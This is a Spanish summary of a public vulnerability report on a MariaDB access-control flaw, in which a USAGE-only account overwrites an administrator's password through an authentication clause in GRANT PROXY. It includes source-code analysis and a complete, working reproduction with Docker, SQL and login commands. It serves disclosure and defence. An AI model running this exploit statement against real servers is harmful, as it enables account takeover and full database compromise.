Reports
ALTA[AUTENTICACIÓN]#3876430

MariaDB: un usuario con solo USAGE cambia la contraseña de un administrador vía GRANT PROXY

Un fallo de control de acceso en MariaDB permite que una cuenta con solo USAGE ON *.* reescriba la contraseña de un administrador existente mediante la cláusula de autenticación de GRANT PROXY y herede sus privilegios de DBA.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

MariaDB arrastraba un fallo de control de acceso (CVE-2026-97380) por el que una cuenta autenticada que solo tuviera el privilegio USAGE ON *.* —es decir, ningún privilegio efectivo— podía cambiar la contraseña de un administrador ya existente y, con ella, iniciar sesión y heredar todos sus privilegios de DBA.

La clave está en la sentencia GRANT PROXY. Su gramática admite adjuntar cláusulas de autenticación al grantee (la cuenta que recibe el proxy), y MariaDB permite que un usuario conceda PROXY sobre su propia identidad. Combinando ambas cosas, el atacante concede PROXY sobre sí mismo pero encadena en el destinatario una cláusula de autenticación con dos métodos:

GRANT PROXY ON 'usage_user'@'%'
TO 'proof_admin'@'%'
IDENTIFIED VIA ''
OR mysql_native_password USING PASSWORD('AttackerChosen-2026');

El primer método de autenticación va vacío y el segundo fija una contraseña elegida por el atacante. El comportamiento defectuoso surge porque las dos rutas del servidor tratan esa lista de métodos de forma distinta:

  • La comprobación de autorización, en LEX_USER::has_auth(), solo mira el primer nodo de autenticación. Al estar vacío, has_auth() devuelve false, MariaDB entiende que no se está tocando ninguna credencial y se salta check_alter_user(), la verificación que normalmente exigiría privilegios para modificar a otro usuario:
return auth &&
       (auth->plugin.length || auth->auth_str.length || auth->pwtext.length);
  • La ruta de persistencia, en replace_user_table(), recorre y almacena todos los nodos:
for (USER_AUTH *auth= combo->auth; auth; auth= auth->next)
  nauth++;

Es decir: el primer nodo vacío desactiva el control de autorización, mientras que el segundo nodo (no vacío) instala la contraseña controlada por el atacante sobre la cuenta del administrador. Los privilegios originales de esa cuenta se conservan intactos.

El atacante no necesita ALTER USER, CREATE USER, acceso al esquema mysql ni una concesión PROXY previa. La única condición es que el user@host de destino exista ya y coincida con la conexión que abrirá el atacante. Se reprodujo en MariaDB 12.3.2 y en la compilación 13.1.0 del repositorio.

El investigador fijó el análisis del código fuente al commit 7322a6656a5357b4574b7413493c76ba2fc41f84 de MariaDB/server, señalando las funciones acl_check_proxy_grant_access(), copy_and_check_auth(), check_alter_user() y replace_user_table() en sql/sql_acl.cc.

Pasos de reproducción

Ejecutar únicamente contra un contenedor desechable.

Paso 1. Arrancar MariaDB

docker run --rm -d \
  --name mariadb-proxy-poc \
  -p 127.0.0.1:13306:3306 \
  -e MARIADB_ROOT_PASSWORD='LabRoot-2026' \
  mariadb:12.3.2

until docker exec mariadb-proxy-poc \
  mariadb-admin -uroot -p'LabRoot-2026' ping >/dev/null 2>&1; do
  sleep 1
done

Paso 2. Crear las cuentas

Una cuenta con solo USAGE (la del atacante) y un administrador con todos los privilegios (el objetivo):

docker exec mariadb-proxy-poc \
  mariadb -uroot -p'LabRoot-2026' -e "
    CREATE USER 'usage_user'@'%'
      IDENTIFIED BY 'UsagePassword-2026';
    GRANT USAGE ON *.* TO 'usage_user'@'%';

    CREATE USER 'proof_admin'@'%'
      IDENTIFIED BY 'OriginalAdminPassword-2026';
    GRANT ALL PRIVILEGES ON *.*
      TO 'proof_admin'@'%' WITH GRANT OPTION;
  "

Paso 3. Disparar el fallo desde la cuenta con solo USAGE

docker exec mariadb-proxy-poc \
  mariadb --protocol=tcp -h127.0.0.1 \
  -uusage_user -p'UsagePassword-2026' -e "
    SHOW GRANTS;

    GRANT PROXY ON 'usage_user'@'%'
    TO 'proof_admin'@'%'
    IDENTIFIED VIA ''
    OR mysql_native_password USING PASSWORD('AttackerChosen-2026');
  "

La sentencia se ejecuta con éxito pese a que usage_user solo tiene USAGE.

Paso 4. Iniciar sesión con la contraseña inyectada en el administrador

docker exec mariadb-proxy-poc \
  mariadb --protocol=tcp -h127.0.0.1 \
  -uproof_admin -p'AttackerChosen-2026' -e "
    SELECT CURRENT_USER();
    SHOW GRANTS;
    CREATE DATABASE proxy_takeover_proof;
  "

Resultado esperado: CURRENT_USER() devuelve proof_admin@%, siguen presentes sus concesiones originales de DBA y la creación de la base de datos funciona.

Paso 5. Limpieza

docker stop mariadb-proxy-poc

Impacto

Un usuario con solo USAGE puede tomar el control de una cuenta de administrador conocida y alcanzable, y quedarse con sus privilegios de DBA existentes. Con ese nivel de acceso podría leer o modificar cualquier base de datos, crear usuarios, otorgar privilegios, cambiar la configuración del servidor e interrumpir el servicio.

El reporte tiene asignado el CVE CVE-2026-97380, clasificado por el programa como severidad high, y fue marcado como Resolved. La debilidad indicada por el programa es «Improper Access Control - Generic».